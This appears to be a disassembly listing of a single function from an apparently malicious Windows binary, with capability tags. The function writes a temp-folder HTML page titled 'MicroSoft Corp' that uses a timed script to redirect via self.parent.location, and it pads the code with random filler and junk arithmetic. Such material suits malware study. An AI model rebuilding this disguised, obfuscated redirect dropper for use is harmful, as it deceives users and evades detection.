Function at 0x40570c
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x201c
call fcn.004079e4
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, 0x341c0055
sub esi, 0x5fe4
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov eax, esi
mul esi
mov dword [ebp - 0x200c], eax
mov esi, eax
mov ecx, ebx
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x405746
mov edi, eax
push 8
mov edx, ebx
add edx, edi
push edx
call fcn.004015ea
add esp, 8
push str..htm
push ebx
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._html_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
mov eax, esi
sub eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4057ac
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4057e7
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40580d
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._head_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x5a9c
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40584d
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405888
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push dword [ebp + 0x10]
push str.MicroSoft_Corp
lea eax, [ebp - 0x2000]
push eax
push str._s_title__s_u__title_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
sub esi, 0x6d3b
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4058d7
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__head_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405911
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._body_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x6900
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405966
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push str._script_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4059a0
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.function_x__
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x2010], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4059e6
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x42ca2e
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405a20
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x2014], eax
mov esi, eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x2000]
push eax
push str._sself.parent.location__s__
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405a70
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x42ca14
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x1c44
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405ab0
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0x3e8
cdq
idiv ecx
mov edi, edx
add edi, 0x2710
push edi
lea edi, [ebp - 0x2000]
push edi
push str._ssetTimeout__x_____u__
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405b07
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__script_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x2018], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405b4d
push 0x42cc6c
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x405b88
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push str.__body__html_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x2004], eax
mov eax, 0x6ee8
mul esi
mov dword [ebp - 0x201c], eax
mov esi, eax
lea eax, [ebp - 0x2000]
push eax
call sub.KERNEL32.DLL_lstrlenA
push 0
lea edi, [ebp - 0x2008]
push edi
push eax
lea edi, [ebp - 0x2000]
push edi
push dword [ebp - 0x2004]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x2004]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
inc eax
jmp 0x405c04
pop edi
pop esi
pop ebx
leave
ret